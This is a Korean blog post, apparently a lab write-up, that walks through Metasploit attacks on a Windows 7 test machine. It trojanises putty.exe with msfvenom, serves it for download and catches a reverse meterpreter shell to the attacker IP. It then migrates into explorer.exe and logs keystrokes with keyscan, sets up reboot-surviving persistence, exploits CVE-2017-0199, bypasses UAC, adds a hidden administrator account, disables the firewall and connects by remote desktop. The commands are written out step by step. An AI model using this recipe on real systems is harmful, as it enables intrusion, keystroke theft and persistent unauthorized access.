explorer.exe migrate 권한 상승.

keyscan.

 

 

 

 

keyscan : 공격 대상이 입력한 키 값이 커널로 가기 전 낚아챈다.

 

공격 대상이 자주 쓸만한, 혹은 클릭해볼만한 실행 파일을 준비한다.

이름도 생소한 파일일 경우 클릭하지 않을 확률이 높기 때문에 자주 쓰는 파일에 악성코드를 끼워넣는 방식이 더 많이 쓰인다.

 

msfvenom을 이용하여 putty.exe 파일에 악성코드를 주입하여 putty1.exe 파일을 생성한다.

이름을 같게 하는 것이 좋겠지만, 실습 편의상 구분을 위해 다르게 설정하였다.

기존의 파일에 악성코드를 주입할 땐 -x 옵션으로 파일을 지정해준다.

 

putty1.exe 파일이 잘 생성되었다.

 

apache2 웹서버 실행.

 

기본 페이지가 잘 뜨는 것을 확인한 후,

 

1.0.0.51/download/ 를 보면 아직 아무것도 저장되어있지 않다.

 

위에서 생성한 putty1.exe 파일을 /var/www/html/download/ 로 복사하여

외부에서 접근이 쉽도록 한다.

 

1.0.0.51/download/ 다시 보면 putty1.exe 파일이 들어가있다.

 

Meta3에서 같은 경로로 들어가면 putty1.exe 파일 다운로드가 가능하다.

 

방화벽에 막히지 않도록 reverse_tcp 방식을 사용할 것이다.

# use multi/handler (or exploit/multi/handler)

# set payload windows/x64/meterpreter/reverse_tcp

 

# set lhost [공격자 IP]

# set lport [msfvenom에서 지정한 port]

Meta3에서 putty1.exe 파일을 다운로드했다면 meterpreter로 접속이 가능하다.

 

sysinternalsSuite > procexp64.exe 을 실행시켜보면 우리가 쓰는 대부분의 프로그램들이 보통 explorer.exe

밑에서 실행되는 것을 볼 수 있다.

따라서 explorer 권한을 가지면 대부분의 권한을 가지는 것이라 할 수 있다.

 

접속된 meterpreter에서 ps 명령어를 치면 explorer.exe의 PID를 확인할 수 있다.

 

getpid는 현재 내가 위치한 PID 확인 명령어이다.

 

migrate를 이용하여 2176(explorer.exe PID)로 권한 상승 시도.

성공적으로 권한 상승 되었다.

 

# keyscan_start

Meta3(공격대상)에서 메모장과 같은 키보드 입력 가능한 프로그램을 열어 입력해본다.

 

다시 meterpreter로 돌아와 keyscan_dump 명령어로

Meta3가 입력한 값들을 그대로 확인 가능하다.

이렇게 키보드 입력 값은 해킹당할 위험이 있기 때문에 요즘엔 중요한 정보들은 마우스로 입력받는 방식이 이용된다.

 

연결유지

 

run persistence -A -U -i 20 -r [공격자 IP] -p 11000

> -r : endpoint

공격 대상이 뭔가 낌새가 이상해서 재부팅을 한다 해도 연결이 그대로 남아있게 된다.

사용자가 다시 로그인을 하면 공격자의 kali로 저절로 연결된다.

 

 

 

원격 터미널 서비스 접속.

explorer.exe migrate.

 

 

 

 

공격 방식

 

1. Server side

- 시스템 자체의 취약점을 이용 ex. ms17-010

 

2. Client side

- 실행파일(악성코드, 멀웨어, 트로이목마)을 클릭하는 방식

 

클라이언트 사이드 공격은 대부분 권한 상승을 필요로 한다.

따라서 이번 글에서는 BypassUAC를 이용한 권한 상승에 대해 알아볼 것이다.

 

공격 시나리오

공격자 - Kali Linux (1.0.0.51)

공격 대상 - Windows 7 (1.0.0.56)

1) 취약점을 이용하여 meterpreter로 접속

2) explorer로 권한 상승

3) 원격 데스크톱 연결 시도

4) BypassUAC 이용하여 권한 상승

5) 원격 데스크톱 연결

 

# service postgresql start

DB 연결을 위해 postgresql 서비스를 시작 후 msfconsole로 접속한다.

 

CVE-2017-0199 : 마이크로소프트의 원격 코드 실행 취약점

# use exploit/windows/fileformat/office_word_hta

 

show options 명령어로 확인.

SVRHOST : service host, 상대방이 이 서버로 접속하도록 (악성코드 접속)

 

reverse_tcp 방식을 사용한다.

 

# set lhost [공격자 IP]

 

run or exploit 명령어를 실행하면 1.0.0.56의 세션이 연결되었다는 메시지가 보인다.

 

연결된 세션을 확인하는 명령어 : sessions

 

연결이 되어있는 상태이기 때문에 sessions [id] 명령어로 연결이 가능하다.

windows 7의 meterpreter로 접속된다.

 

explorer 권한을 가져오기 위해 먼저 ps 명령어로 explorer의 PID를 확인한다.

explorer의 PID는 3056이며, 현재 내 PID는 960이다.

 

migrate 명령어를 이용하여 explorer로 권한 상승.

 

shell 명령어를 입력하면 windows 7의 쉘로 접속이 된다.

만약 영어가 깨져서 나온다면 chcp 65001 명령어를 입력해준다.

 

rdesktop 연결을 위해 계정을 만들려 시도해보면 접근이 거부될 것이다.

 

bypassuac를 이용하여 권한 상승을 해주기 위해 background로 들어간다.

# search bypassuac 를 입력하면 첫 번째로 뜨는 취약점이 보인다.

 

# use exploit/windows/local/bypassuac

 

마찬가지로 reverse_tcp 방식으로 payload를 설정한다.

 

show targets 명령어로 타겟에 Windows x64가 있는지 확인 후

set targets 명령어로 타겟을 지정한다.

 

세션을 확인해보면 위에서 연결했던 windows 7과의 연결이 유지되어 있다.

 

show options으로 확인 후 비어있는 값을 넣어줘야 하는데,

SESSION은 위에서 확인한 세션의 ID를 넣어준다.

# set session [id]

# set lhost [공격자 IP]

 

run or exploit 명령어를 입력하면 잠시 후 meterpreter session을 따오게 된다.

 

총 세션이 2개가 보이는 것이 정상이며, sessions 명령어로 확인 후

두 번째 세션으로 연결한다. (bypassuac로 따온 세션)

 

마찬가지로 shell로 접속하여 영어가 깨지지 않도록 chcp 65001 명령어를 입력해준다.

 

# net user hh It1 /add

ID : hh / PW : It1 인 계정을 생성한다. 위에서와는 달리 성공적으로 생성이 된다.

# net user 명령어로 현재 windows 7의 계정들을 확인 가능하다.

hh 계정을 생성했으니, 관리자 그룹에 넣어줘야 hh 계정으로 더 많은 작업을 할 수 있다.

# net localgroup administrators hh /add

 

만약 공격 대상의 PC에서 방화벽이 활성화되어 있다면 원격 접속이 어려울 수 있다.

따라서 쉘로 접속하여 방화벽을 꺼버릴 수 있다.

# netsh advfirewall set allprofiles state on/off

 

hh 계정으로, 패스워드는 It1, 1.0.0.56에 연결하겠다.

# rdesktop -u [ID] -p [PW] [공격 대상 IP]

관리자 권한을 가진 계정이고, 방화벽도 다 껐지만 에러가 발생하는 것을 볼 수 있다.

 

공격 대상의 쉘로 다시 접속하여 위와 같은 명령어를 한 번 입력해주어야 한다.

 

다시 rdesktop 연결을 시도해본다.

 

성공적으로 접속을 하였다.

 

 

 

출처 :

hy2on.tistory.com/80

+ Recent posts